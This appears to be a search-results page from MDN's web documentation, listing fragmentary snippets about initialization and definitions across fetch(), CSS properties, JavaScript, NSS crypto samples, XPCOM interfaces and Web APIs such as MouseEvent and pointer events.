syntax const fetchresponsepromise = fetch(resource [, init]) parameters resource this defines the resource that you wish to fetch.
... init optional an object containing any custom settings that you want to apply to the request.
...status: ${response.status}`); } return response.blob(); }) .then(function(response) { let objecturl = url.createobjecturl(response); myimage.src = objecturl; }); in the fetch with init then request example (see fetch request init live), we do the same thing except that we pass in an init object when we invoke fetch(): const myimage = document.queryselector('img'); let myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); const myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; let myrequest = new request('flowers.jpg...
...And 5 more matches
::first-letter (:first-letter) - CSS: Cascading Style Sheets
punctuation includes any unicode character defined in the open (ps), close (pe), initial quote (pi), final quote (pf), and other punctuation (po) classes.
...pecial punctuation mark.</p> <p>#the beginning of a special punctuation mark.</p> <p>「特殊的汉字标点符号开头。</p> <p>《特殊的汉字标点符号开头。</p> <p>“特殊的汉字标点符号开头。</p> css p::first-letter { color: red; font-size: 150%; } result specifications specification status comment css pseudo-elements level 4the definition of '::first-letter' in that specification.
... css text decoration module level 3the definition of 'text-shadow with ::first-letter' in that specification.
...And 5 more matches
@font-feature-values - CSS: Cascading Style Sheets
a swash feature value definition allows only one value: ident1: 2 is valid, but ident2: 2 4 isn't.
...an annotation feature value definition allows only one value: ident1: 2 is valid, but ident2: 2 4 isn't.
...an ornaments feature value definition allows only one value: ident1: 2 is valid, but ident2: 2 4 isn't.
...And 5 more matches
Shorthand properties - CSS: Cascading Style Sheets
the css specification defines shorthand properties to group the definition of common properties acting on the same theme.
... tricky edge cases even if they are very convenient to use, there are a few edge cases to keep in mind when using them: a value which is not specified is set to its initial value.
...as missing values are replaced by their initial value, it is impossible to allow inheritance of individual properties by omitting them.
...And 5 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
ibers[topic].push(callback); }; var unsubscribe = function unsubscribe(callback) { subscribers.indexof(callback); subscribers.splice(index, 1); }; var notify = function notify(topic, value) { if (subscribers[topic] === undefined || subscribers[topic].length === 0) return; var color = new color(value); for (var i in subscribers[topic]) subscribers[topic][i](color); }; var init = function init() { var elem = document.queryselectorall('.ui-color-picker'); var size = elem.length; for (var i = 0; i < size; i++) new colorpicker(elem[i]); }; return { init : init, color : color, rgbcolor : rgbcolor, rgbacolor : rgbacolor, hsvcolor : hsvcolor, hsvacolor : hsvacolor, hslcolor : hslcolor, hslacolor : hslacolor, setcolor : setcolor, getcolor : getc...
...opic] = []; subscribers[topic].push(callback); }; var unsubscribe = function unsubscribe(topic, callback) { var index = subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); }; var notify = function notify() { if (subscribers[this.topic] === undefined) return; for (var i in subscribers[this.topic]) { subscribers[this.topic][i](this.value); } }; var init = function init() { var elem, size; elem = document.queryselectorall('.ui-dropdown'); size = elem.length; for (var i = 0; i < size; i++) new dropdown(elem[i]); }; return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe, createdropdown : createdropdown }; })(); /** * ui-slidersmanager */ var inputslidermanager = (function inputsli...
...subscribers[this.topic].length; i++) subscribers[this.topic][i](this.value); }; var createslider = function createslider(topic, label) { var slider = document.createelement('div'); slider.classname = 'ui-input-slider'; slider.setattribute('data-topic', topic); if (label !== undefined) slider.setattribute('data-info', label); new inputslider(slider); return slider; }; var init = function init() { var elem = document.queryselectorall('.ui-input-slider'); var size = elem.length; for (var i = 0; i < size; i++) new inputslider(elem[i]); }; return { init : init, setmax : setmax, setmin : setmin, setunit : setunit, setstep : setstep, getnode : getnode, getstep : getstep, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe, ...
...And 5 more matches
animation - CSS: Cascading Style Sheets
WebCSSanimation
zero or one occurrences of the following values: <single-transition-timing-function> <single-animation-iteration-count> <single-animation-direction> <single-animation-fill-mode> <single-animation-play-state> an optional name for the animation, which may be none, a <custom-ident>, or a <string> zero, one, or two <time> values the order of values within each animation definition is important: the first value that can be parsed as a <time> is assigned to the animation-duration, and the second one is assigned to animation-delay.
... the order within each animation definition is also important for distinguishing animation-name values from other keywords.
... designing safer web animation for motion sensitivity · an a list apart article an introduction to the reduced motion media query | css-tricks responsive design for motion | webkit mdn understanding wcag, guideline 2.2 explanations understanding success criterion 2.2.2 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:animation-name: noneanimation-duration: 0sanimation-timing-function: easeanimation-delay: 0sanimation-iteration-count: 1animation-direction: normalanimation-fill-mode: noneanimation-play-state: runningapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas each of the properties of the shorthand:animation-...
...And 5 more matches
background-position - CSS: Cascading Style Sheets
the background-position css property sets the initial position for each background image.
...d-position: 0 0; background-position: 1cm 2cm; background-position: 10ch 8em; /* multiple images */ background-position: 0 0, center; /* edge offsets values */ background-position: bottom 10px right 20px; background-position: right 3em bottom 10px; background-position: bottom 10px right; background-position: top right 10px; /* global values */ background-position: inherit; background-position: initial; background-position: unset; the background-position property is specified as one or more <position> values, separated by commas.
... formal definition initial value0% 0%applies toall elements.
...And 5 more matches
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
initially a part of multi-column layout, the definition of column-gap has been broadened to include multiple layout methods.
... css grid layout initially defined the grid-column-gap property.
... syntax /* keyword value */ column-gap: normal; /* <length> values */ column-gap: 3px; column-gap: 2.5em; /* <percentage> value */ column-gap: 3%; /* global values */ column-gap: inherit; column-gap: initial; column-gap: unset; the column-gap property is specified as one of the values listed below.
...And 5 more matches
<easing-function> - CSS: Cascading Style Sheets
for these values, 0.0 represents the initial state, and 1.0 represents the final state.
...p0 is (0, 0) and represents the initial time and the initial state, p3 is (1, 1) and represents the final time and the final state.
... step-end the animation stays in its initial state until the end, at which point it jumps directly to its final state.
...And 5 more matches
font-weight - CSS: Cascading Style Sheets
lues */ font-weight: normal; font-weight: bold; /* keyword values relative to the parent */ font-weight: lighter; font-weight: bolder; /* numeric keyword values */ font-weight: 100; font-weight: 200; font-weight: 300; font-weight: 400;// normal font-weight: 500; font-weight: 600; font-weight: 700;// bold font-weight: 800; font-weight: 900; /* global values */ font-weight: inherit; font-weight: initial; font-weight: unset; the font-weight property is specified using any one of the values listed below.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | w3c understanding wcag 2.0 formal definition initial valuenormalapplies toall elements.
... it also applies to ::first-letter and ::first-line.inheritedyescomputed valuethe keyword or the numerical value as specified, with bolder and lighter transformed to the real valueanimation typea font weight formal syntax <font-weight-absolute> | bolder | lighterwhere <font-weight-absolute> = normal | bold | <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[1,1000]> examples setting font weights html <p> alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do: once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it, "and what is the use of a book," thoug...
...And 5 more matches
height - CSS: Cascading Style Sheets
WebCSSheight
syntax /* keyword value */ height: auto; /* <length> values */ height: 120px; height: 10em; /* <percentage> value */ height: 75%; /* global values */ height: inherit; height: initial; height: unset; values <length> defines the height as an absolute value.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 formal definition initial valueautoapplies toall elements but non-replaced inline elements, table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block.
...a percentage height on the root element is relative to the initial containing block.computed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting height using pixels and percentages html <div id="taller">i'm 50 pixels tall.</div> <div id="shorter">i'm 25 pixels tall.</div> <div id="parent"> <div id="child"> i'm half the height of my parent.
...And 5 more matches
letter-spacing - CSS: Cascading Style Sheets
syntax /* keyword value */ letter-spacing: normal; /* <length> values */ letter-spacing: 0.3em; letter-spacing: 3px; letter-spacing: .3px; /* global values */ letter-spacing: inherit; letter-spacing: initial; letter-spacing: unset; values normal the normal letter spacing for the current font.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | w3c understanding wcag 2.0 formal definition initial valuenormalapplies toall elements.
...tter spacing</p> <p class="em-tight">letter spacing</p> <p class="px-wide">letter spacing</p> css .normal { letter-spacing: normal; } .em-wide { letter-spacing: 0.4em; } .em-wider { letter-spacing: 1em; } .em-tight { letter-spacing: -0.05em; } .px-wide { letter-spacing: 6px; } result specifications specification status comment css text module level 3the definition of 'letter-spacing' in that specification.
...And 5 more matches
Link types - HTML: Hypertext Markup Language
<link> <a>, <area>, <form> modulepreload initiates early (and high-priority) loading of module scripts.
... <a>, <area>, <link> <form> specifications specification status comment preloadthe definition of 'preload' in that specification.
... resource hintsthe definition of 'preconnect' in that specification.
...And 5 more matches
Closures - JavaScript
lexical scoping consider the following example code: function init() { var name = 'mozilla'; // name is a local variable created by init function displayname() { // displayname() is the inner function, a closure alert(name); // use variable declared in the parent function } displayname(); } init(); init() creates a local variable called name and a function called displayname().
... the displayname() function is an inner function that is defined inside init() and is available only within the body of the init() function.
...however, since inner functions have access to the variables of outer functions, displayname() can access the variable name declared in the parent function, init().
...And 5 more matches
Functions - JavaScript
defining functions function declarations a function definition (also called a function declaration, or function statement) consists of the function keyword, followed by: the name of the function.
...for example, the following function definition defines myfunc only if num equals 0: var myfunc; if (num === 0) { myfunc = function(theobject) { theobject.make = 'toyota'; } } in addition to defining functions as described here, you can also use the function constructor to create functions from a string at runtime, much like eval().
... console.log(square) // square is hoisted with an initial value undefined.
...And 5 more matches
Grammar and types - JavaScript
var declares a variable, optionally initializing it to a value.
... let declares a block-scoped, local variable, optionally initializing it to a value.
...so even if you declare and initialize after you use or refer to this variable, it still returns undefined.
...And 5 more matches
TypedArray.prototype.reduce() - JavaScript
syntax typedarray.reduce(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... initialvalue optional.
... description the reduce method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the previous callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
...And 5 more matches
TypedArray.prototype.reduceRight() - JavaScript
syntax typedarray.reduceright(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... initialvalue optional.
... description the reduceright method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the previous callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
...And 5 more matches
let - JavaScript
the let statement declares a block-scoped local variable, optionally initializing it to a value.
... value1, value2, …, valuen optional for each variable declared, you may optionally specify its initial value to any legal javascript expression.
...the other difference between var and let is that the latter is initialized to a value only when a parser evaluates it (see below).
...And 5 more matches
Web video codec guide - Web media technologies
imagine the amount of data needed to store uncompressed video: a single frame of high definition (1920x1080) video in full color (4 bytes per pixel) is 8,294,400 bytes.
...motion picture film is typically 24 frames per second, while standard definition television is about 30 frames per second (slightly less, but close enough) and high definition television is between 24 and 60 frames per second.
... avc is highly flexible, with a number of profiles with varying capabilities; for example, the constrained baseline profile is designed for use in videoconferencing and mobile scenarios, using less bandwidth than the main profile (which is used for standard definition digital tv in some regions) or the high profile (used for blu-ray disc video).
...And 5 more matches
d - SVG: Scalable Vector Graphics
WebSVGAttributed
a path definition is a list of path commands where each command is composed of a command letter and numbers that represent the command parameters.
...g"> <!-- lineto commands with absolute coordinates --> <path fill="none" stroke="red" d="m 10,10 l 90,90 v 10 h 50" /> <!-- lineto commands with relative coordinates --> <path fill="none" stroke="red" d="m 110,10 l 80,80 v -80 h -40" /> </svg> cubic bézier curve cubic bézier curves are smooth curve definitions using four points: starting point (current point) (po = {xo, yo}) end point (pn = {xn, yn}) start control point (pcs = {xcs, ycs}) (controls curvature near the start of the curve) end control point (pce = {xce, yce}) (controls curvature near the end of the curve) after drawing, the end point (pn) becomes the current point for the next command (po′).
...="lightgrey"/> <line x1="90" y1="90" x2="70" y2="90" stroke="lightgrey" /> <circle cx="70" cy="90" r="1.5" /> <!-- curve vertex points --> <circle cx="10" cy="90" r="1.5"/> <circle cx="50" cy="10" r="1.5"/> <circle cx="90" cy="90" r="1.5"/> </g> <use xlink:href="#controlpoints" x="100" /> </svg> quadratic bézier curve quadratic bézier curves are smooth curve definitions using three points: starting point (current point) po = {xo, yo} end point pn = {xn, yn} control point pc = {xc, yc} (controls curvature) after drawing, the end point (pn) becomes the current point for the next command (po′).
...And 5 more matches
Enhanced Extension Installation - Archive of obsolete content
installation initiation when an item is installed from the web, xpinstall is invoked and it calls into the extension system when it discovers that the xpi file contains an install.rdf manifest.
...to this end, we scan the category extension-install-locations as the extension system is started (after profile initialization) and add these to our internal set.
... installation from a file initiation when an item is installed from a file (such as, when an item is installed from the web, via xpinstall, upgraded by xpinstall or dropped into a directory-based install location), the install manifest supplied by the item is expanded into a temporary location and read.
...And 4 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
to trigger the alert() in the listener and pass the data from the web page, write code such as this in the web page: var element = document.createelement("myextensiondataelement"); element.setattribute("attribute1", "foobar"); element.setattribute("attribute2", "hello world"); document.documentelement.appendchild(element); var evt = document.createevent("events"); evt.initevent("myextensionevent", true, false); element.dispatchevent(evt); this code creates an arbitrary element -- <myextensiondataelement/> -- and inserts it into the web page's dom.
... (to better ensure others do not also implement the same event with a different meaning, one might either attach a namespace to <myextensiondataelement/> and check on the event handler for the correct namespaceuri property, or as per the dom specification, use initevent() with an event name that is itself namespaced (xml name characters only): "it is also strongly recommended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.") in the case where your extension's overlay does not interact directly with browser.xul, such as in a sidebar, it might be easier to add t...
...evt.target.getattribute("attribute2")); /* the extension answers the page*/ evt.target.setattribute("attribute3", "the extension"); var doc = evt.target.ownerdocument; var answerevt = doc.createelement("myextensionanswer"); answerevt.setattribute("part1", "answers this."); doc.documentelement.appendchild(answerevt); var event = doc.createevent("htmlevents"); event.initevent("myanswerevent", true, false); answerevt.dispatchevent(event); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event.
...And 4 more matches
The Joy of XUL - Archive of obsolete content
xul provides a clear separation among the client application definition and programmatic logic ("content" consisting of xul, xbl, and javascript), presentation ("skin" consisting of css and images), and language-specific text labels ("locale" consisting of dtds and string bundles in .properties files).
... the layout and appearance of xul applications can be altered independently of the application definition and logic.
...while such changes are extensive and affect most (if not all) of the application, they are also isolated from one another, enabling the core xul definition and application logic to be shared among all of the custom versions.
...And 4 more matches
Table Reflow Internals - Archive of obsolete content
the initial chunk of an xml doc is loaded.
... the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded.
... kinds of reflows initial - reflowee's first reflow must be of this type (reflower's responsibility).
...And 4 more matches
Building up a basic demo with A-Frame - Game development
initializing the scene a scene is the place where everything happens.
...we are passing some initial variables to that shape: the radius of the outer edge of the torus, the radius of the tube, and number of segments along the circumference of the tube face respectively.
...add the <a-animation> element seen below to the <a-box> element as a child, as shown: <a-box color="#0095dd" rotation="20 40 0" position="0 1 0"> <a-animation attribute="rotation" from="20 0 0" to="20 360 0" direction="alternate" dur="4000" repeat="indefinite" easing="ease"> </a-animation> </a-box> as with any other entities, you can define key properties for the animation.
...And 4 more matches
Introducing a complete toolchain - Learn web development
"don't release any code that's not been properly formatted." it can be arduous to run the initial command against each file, and it would be useful to have a single command to do this for us (and the same will go for our linting tools).
... as with other tools, code editor integration support is typically good for eslint, and potentially more useful as it can give us real-time feedback when issues crop up: configuring the initial project using these tools, a new project can be set up safe in the knowledge that many "basic" issues will be caught early on.
... using the command line, we can create the project, install the initial tooling, and create rudimentary configuration files.
...And 4 more matches
NSS Sample Code Sample1
// class server { public: // initializes the server instance.
... in particular, this // creates the key pair that is used for wrapping keys int init(); // generates keys for encryption (aes) and macing.
...pedmackey(0), menckey(0), mmackey(0) { // copy the server name mservername = pl_strdup(servername); } server::~server() { if (mservername) pl_strfree(mservername); if (mwrappedenckey) secitem_freeitem(mwrappedenckey, pr_true); if (mwrappedmackey) secitem_freeitem(mwrappedmackey, pr_true); if (menckey) pk11_freesymkey(menckey); if (mmackey) pk11_freesymkey(mmackey); } int server::init() { int rv = 0; seckeyprivatekey *prvkey = 0; seckeypublickey *pubkey = 0; pk11slotinfo *slot = 0; pk11rsagenparams rsaparams; secstatus s; // see if there is already a private key with this name.
...And 4 more matches
nss tech note5
encrypt/decrypt include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a cipher mechanism.
... you can also look at a sample program illustrating encryption hash / digest include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") <big>create digest context</big>.
...digestfinal(digestcontext, digest, &len, sizeof digest); /* now, digest contains the 'digest', and len contains the length of the digest */</big> clean up pk11_destroycontext(digestcontext, pr_true); you can also look at a sample program illustrating this hash / digest with secret key included include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a digest mechanism.
...And 4 more matches
FIPS mode of operation
general-purpose functions fc_getfunctionlist fc_initialize fc_finalize fc_getinfo slot and token management functions fc_getslotlist fc_getslotinfo fc_gettokeninfo fc_waitforslotevent fc_getmechanismlist fc_getmechanisminfo fc_inittoken fc_initpin fc_setpin session management functions fc_opensession fc_closesession fc_closeallsessions fc_getsessioninfo fc_getoperationstate fc_setoperationstate fc_login fc_logout object management functions these functions manage certificates and keys.
... fc_createobject fc_copyobject fc_destroyobject fc_getobjectsize fc_getattributevalue fc_setattributevalue fc_findobjectsinit fc_findobjects fc_findobjectsfinal encryption functions these functions support triple des and aes in ecb and cbc modes.
... fc_encryptinit fc_encrypt fc_encryptupdate fc_encryptfinal decryption functions these functions support triple des and aes in ecb and cbc modes.
...And 4 more matches
JSAPI reference
runtimes and contexts js_init added in spidermonkey 31 js_shutdown struct jsruntime js_newruntimeobsolete since jsapi 52 js_destroyruntime js_getruntimeprivate js_setruntimeprivate js_setnativestackquota added in spidermonkey 17 js_contextiteratorobsolete since jsapi 52 js_finish obsolete since jsapi 19 struct jscontext js_newcontext js_destroycontext js_destroycontextnogc js_setcontextcallback en...
...rsion_latest js_getimplementationversion js_getversion js_setversionforcompartment added in spidermonkey 31 js_stringtoversion js_versiontostring js_setversion obsolete since jsapi 25 js::currentglobalornull added in spidermonkey 31 js_getglobalforscopechain obsolete since jsapi 25 js_getglobalobject obsolete since jsapi 24 js_setglobalobject obsolete since jsapi 25 js_initclass js_initstandardclasses js_resolvestandardclass js_enumeratestandardclasses js_enumerateresolvedstandardclasses obsolete since jsapi 24 js_isrunning js_saveframechain js_restoreframechain js_isassigning obsolete since javascript 1.8.5 js_isconstructing obsolete since jsapi 26 js_isconstructing_possiblywithgiventhisobject obsolete since jsapi 17 js_getscopechain obsolete ...
...bage collector and other garbage collectors.) struct jstracer added in spidermonkey 1.8 js_tracechildren added in spidermonkey 1.8 js_traceruntime added in spidermonkey 1.8 jsval_is_traceable added in spidermonkey 1.8 obsolete since jsapi 31 jsval_to_traceable added in spidermonkey 1.8 obsolete since jsapi 31 jsval_trace_kind added in spidermonkey 1.8 obsolete since jsapi 31 js_tracer_init added in spidermonkey 1.8 obsolete since jsapi 12 js_tracerinit added in spidermonkey 12 obsolete since jsapi 31 js_calltracer added in spidermonkey 1.8 obsolete since jsapi 22 js_set_tracing_details added in spidermonkey 1.8 obsolete since jsapi 26 js_set_tracing_index added in spidermonkey 1.8 obsolete since jsapi 26 js_set_tracing_name added in spidermonkey 1.8 obsolete since jsapi 26 js...
...And 4 more matches
nsIFilePicker
to create an instance, use: var filepicker = components.classes["@mozilla.org/filepicker;1"] .createinstance(components.interfaces.nsifilepicker); method overview void appendfilter(in astring title, in astring filter); void appendfilters(in long filtermask); void init(in nsidomwindow parent, in astring title, in short mode); void open(in nsifilepickershowncallback afilepickershowncallback); short show(); obsolete since gecko 57.0 attributes attribute type description addtorecentdocs boolean if true, the file is added to the operating system's "recent documents" list (if the operating system has one; not...
... displaydirectory nsilocalfile the directory that the file picker dialog should initially display.
... constants mode constants these constants are used to specify the type of file picker to create when calling init().
...And 4 more matches
nsIPromptService
constant value description button_pos_0_default 0 button_pos_1_default 16777216 button_pos_2_default 33554432 button_delay_enable button_delay_enable causes the buttons to be initially disabled.
... acheckstate contains the initial checked state of the checkbox when this method is called and the final checked state after this method returns.
... acheckstate contains the initial checked state of the checkbox when this method is called and the final checked state after this method returns.
...And 4 more matches
nsITextInputProcessor
for example, the implementation of this interface manages modifier state and composition state, initializes dom events from minimum information, and doesn't dispatch some events if they are not necessary.
...the location attribute value of dispatching keyboard events is computed automatically if the attribute isn't initialized or initialized with 0.
...the keycode attribute value of dispatching printable keyboard events is computed from key value automatically if the attribute isn't initialized or initialized with 0.
...And 4 more matches
nsIXPConnect
obsolete since gecko 2.0 void getxpcwrappednativejsclassinfo(out jsequalityop equality); nsixpconnectjsobjectholder holdobject(in jscontextptr ajscontext, in jsobjectptr aobject); void initclasses(in jscontextptr ajscontext, in jsobjectptr aglobaljsobj); nsixpconnectjsobjectholder initclasseswithnewwrappedglobal(in jscontextptr ajscontext, in nsisupports acomobj, in nsiidref aiid, in nsiprincipal aprincipal, in nsisupports aextraptr, in pruint32 aflags); nsivariant jstovariant(in jscontextptr ctx, in jsval value); nsivariant jsvaltovariant(in jscontextptr...
... deferreleasesuntilaftergarbagecollection prbool obsolete since gecko 1.9 pendingexception nsiexception constants constant value description init_js_standard_classes 1 << 0 flag_system_global_object 1 << 1 omit_components_object 1 << 2 xpc_xow_clearscope 1 tells updatexows() to clear the scope of all of the xows it finds.
... nsixpconnectjsobjectholder holdobject( in jscontextptr ajscontext, in jsobjectptr aobject ); parameters ajscontext missing description aobject missing description return value missing description exceptions thrown missing exception missing description initclasses() initializes classes on a global object that has already been created.
...And 4 more matches
Plug-in Basics - Plugins
when the user opens a page that contains embedded data of a media type that invokes a plug-in, the browser responds with the following sequence of actions: check for a plug-in with a matching mime type load the plug-in code into memory initialize the plug-in create a new instance of the plug-in gecko can load multiple instances of the same plug-in on a single page, or in several open windows at the same time.
... gecko calls the plug-in api function np_initialize when the plug-in code is first loaded.
... note: np_initialize and np_shutdown are not technically a part of the function table that the plug-in hands to the browser.
...And 4 more matches
AudioWorkletNode() - Web APIs
the result of the structured clone algorithm applied to the object is also internally passed into the associated audioworkletprocessor() constructor — this allows custom initialization of an underlying user-defined audioworkletprocessor.
... available properties are as follows: numberofinputs optional the value to initialize the numberofinputs property to.
... numberofoutputs optional the value to initialize the numberofoutputs property to.
...And 4 more matches
AudioWorkletNodeOptions - Web APIs
properties numberofinputs optional the value to initialize the numberofinputs property to.
... numberofoutputs optional the value to initialize the numberofoutputs property to.
... parameterdata optional an object containing the initial values of custom audioparam objects on this node (in its parameters property), with key being the name of a custom parameter and value being its initial value.
...And 4 more matches
Basic animations - Web APIs
var sun = new image(); var moon = new image(); var earth = new image(); function init() { sun.src = 'https://mdn.mozillademos.org/files/1456/canvas_sun.png'; moon.src = 'https://mdn.mozillademos.org/files/1443/canvas_moon.png'; earth.src = 'https://mdn.mozillademos.org/files/1429/canvas_earth.png'; window.requestanimationframe(draw); } function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.globalcompositeoperation = 'destination-over'; ...
...oon ctx.save(); ctx.rotate(((2 * math.pi) / 6) * time.getseconds() + ((2 * math.pi) / 6000) * time.getmilliseconds()); ctx.translate(0, 28.5); ctx.drawimage(moon, -3.5, -3.5); ctx.restore(); ctx.restore(); ctx.beginpath(); ctx.arc(150, 150, 105, 0, math.pi * 2, false); // earth orbit ctx.stroke(); ctx.drawimage(sun, 0, 0, 300, 300); window.requestanimationframe(draw); } init(); <canvas id="canvas" width="300" height="300"></canvas> screenshotlive sample an animated clock this example draws an animated clock, showing your current time.
... <canvas id="canvas" width="800" height="200"></canvas> mouse following animation <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>document</title> <script> var cn; //= document.getelementbyid('cw'); var c; var u = 10; const m = { x: innerwidth / 2, y: innerheight / 2 }; window.onmousemove = function(e) { ...
...And 4 more matches
Document.createProcessingInstruction() - Web APIs
r().parsefromstring('<foo />', 'application/xml'); var pi = doc.createprocessinginstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); doc.insertbefore(pi, doc.firstchild); console.log(new xmlserializer().serializetostring(doc)); // displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> specifications specification status comment domthe definition of 'createprocessinginstruction()' in that specification.
... living standard no change dom4the definition of 'createprocessinginstruction()' in that specification.
... obsolete added more explicit definition of how the data parameter is validated.
...And 4 more matches
EventTarget.addEventListener() - Web APIs
button.addeventlistener('click', function() { console.log(somestring); // expected value: 'data' somestring = 'data again'; }); console.log(somestring); // expected value: 'data' (will never output 'data again') note: although inner scopes have access to const, let variables from outer scopes, you cannot expect any changes to these variables to be accessible after the event listener definition, within the same outer scope.
...in the fourth case, the entire function definition is unchanging, but it is still being repeatedly defined as if new (unless it was [[promoted]] by the compiler) and so is not static.
...however, since the function definition itself does not change, the same function may still be called for every duplicate listener (especially if the code gets optimized.) also in both cases, because the function reference was kept but repeatedly redefined with each add, the remove-statement from above can still remove a listener, but now only the last one added.
...And 4 more matches
Using Fetch - Web APIs
fetch won’t send cookies, unless you set the credentials init option.
... supplying request options the fetch() method can optionally accept a second parameter, an init object that allows you to control a number of different settings: see fetch() for the full options available, and more details.
... note that mode: "no-cors" only allows a limited set of headers in the request: accept accept-language content-language content-type with a value of application/x-www-form-urlencoded, multipart/form-data, or text/plain sending a request with credentials included to cause browsers to send a request with credentials included, even for a cross-origin call, add credentials: 'include' to the init object you pass to the fetch() method.
...And 4 more matches
HTMLButtonElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlbuttonelement' in that specification.
... living standard html 5.2the definition of 'htmlbuttonelement' in that specification.
... html 5.1the definition of 'htmlbuttonelement' in that specification.
...And 4 more matches
HTMLHtmlElement - Web APIs
htmlhtmlelement.version is a domstring representing the version of the html document type definition (dtd) that governs this document.
... specifications specification status comment html living standardthe definition of 'htmlhtmlelement' in that specification.
... living standard html 5.1the definition of 'htmlhtmlelement' in that specification.
...And 4 more matches
HTMLMediaElement - Web APIs
htmlmediaelement.currenttime a double-precision floating-point value indicating the current playback time in seconds; if the media has not started to play and has not been seeked, this value is the media's initial playback time.
...if the media is of indefinite length (such as streamed live media, a webrtc call's media, or similar), the value is +infinity.
... htmlmediaelement.initialtime read only returns a double that indicates the initial playback position in seconds.
...And 4 more matches
HTMLOptionElement - Web APIs
htmloptionelement.defaultselected is a boolean that contains the initial value of the selected html attribute, indicating whether the option is selected by default or not.
... specifications specification status comment html living standardthe definition of 'htmloptionelement' in that specification.
... living standard html5the definition of 'htmloptionelement' in that specification.
...And 4 more matches
KeyboardEvent() - Web APIs
syntax event = new keyboardevent(typearg, keyboardeventinit); values typearg is a domstring representing the name of the event.
... keyboardeventinitoptional is a keyboardeventinit dictionary, having the following fields: "key", optional and defaulting to "", of type domstring, that sets the value of keyboardevent.key.
... the keyboardeventinit dictionary also accepts fields from the uieventinit and eventinit dictionaries.
...And 4 more matches
MouseEvent() - Web APIs
syntax event = new mouseevent(typearg, mouseeventinit); values typearg is a domstring representing the name of the event.
... mouseeventinit optional is a mouseeventinit dictionary, having the following fields: "screenx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer.
... "button", optional and defaulting to 0, of type short, that describes which button is pressed during events related to the press or release of a button: value meaning 0 main button pressed (usually the left button) or un-initialized 1 auxiliary button pressed (usually the middle button) 2 secondary button pressed (usually the right button) "buttons", optional and defaulting to 0, of type unsigned short, that describes which buttons are pressed when the event is launched: bit-field value meaning 0 ...
...And 4 more matches
Performance - Web APIs
specifications specification status comment high resolution time level 2the definition of 'performance' in that specification.
... high resolution timethe definition of 'performance' in that specification.
... performance timeline level 2the definition of 'performance extensions' in that specification.
...And 4 more matches
Pointer events - Web APIs
> function over_handler(event) { } function enter_handler(event) { } function down_handler(event) { } function move_handler(event) { } function up_handler(event) { } function cancel_handler(event) { } function out_handler(event) { } function leave_handler(event) { } function gotcapture_handler(event) { } function lostcapture_handler(event) { } function init() { var el=document.getelementbyid("target"); // register pointer event handlers el.onpointerover = over_handler; el.onpointerenter = enter_handler; el.onpointerdown = down_handler; el.onpointermove = move_handler; el.onpointerup = up_handler; el.onpointercancel = cancel_handler; el.onpointerout = out_handler; el.onpointerleave = leave_h...
...andler; el.gotpointercapture = gotcapture_handler; el.lostpointercapture = lostcapture_handler; } </script> <body onload="init();"> <div id="target"> touch me ...
... console.log("pointertype " + ev.pointertype + " is not suported"); } // call the tilt handler if (ev.tiltx != 0 && ev.tilty != 0) process_tilt(ev.tiltx, ev.tilty); // call the pressure handler process_pressure(ev.pressure); // if this event is not primary, call the non primary handler if (!ev.isprimary) process_non_primary(ev); } function init() { var el=document.getelementbyid("target"); // register pointerdown handler el.onpointerdown = down_handler; } </script> <body onload="init();"> <div id="target"> touch me ...
...And 4 more matches
RTCIceCandidate.RTCIceCandidate() - Web APIs
syntax candidate = new rtcicecandidate([candidateinfo]); parameters candidateinfo optional an optional rtcicecandidateinit object providing information about the candidate; if this is provided, the candidate is initialized configured to represent the described candidate.
... return value a newly-created rtcicecandidate object, optionally configured based on the specified object based on the rtcicecandidateinit dictionary.
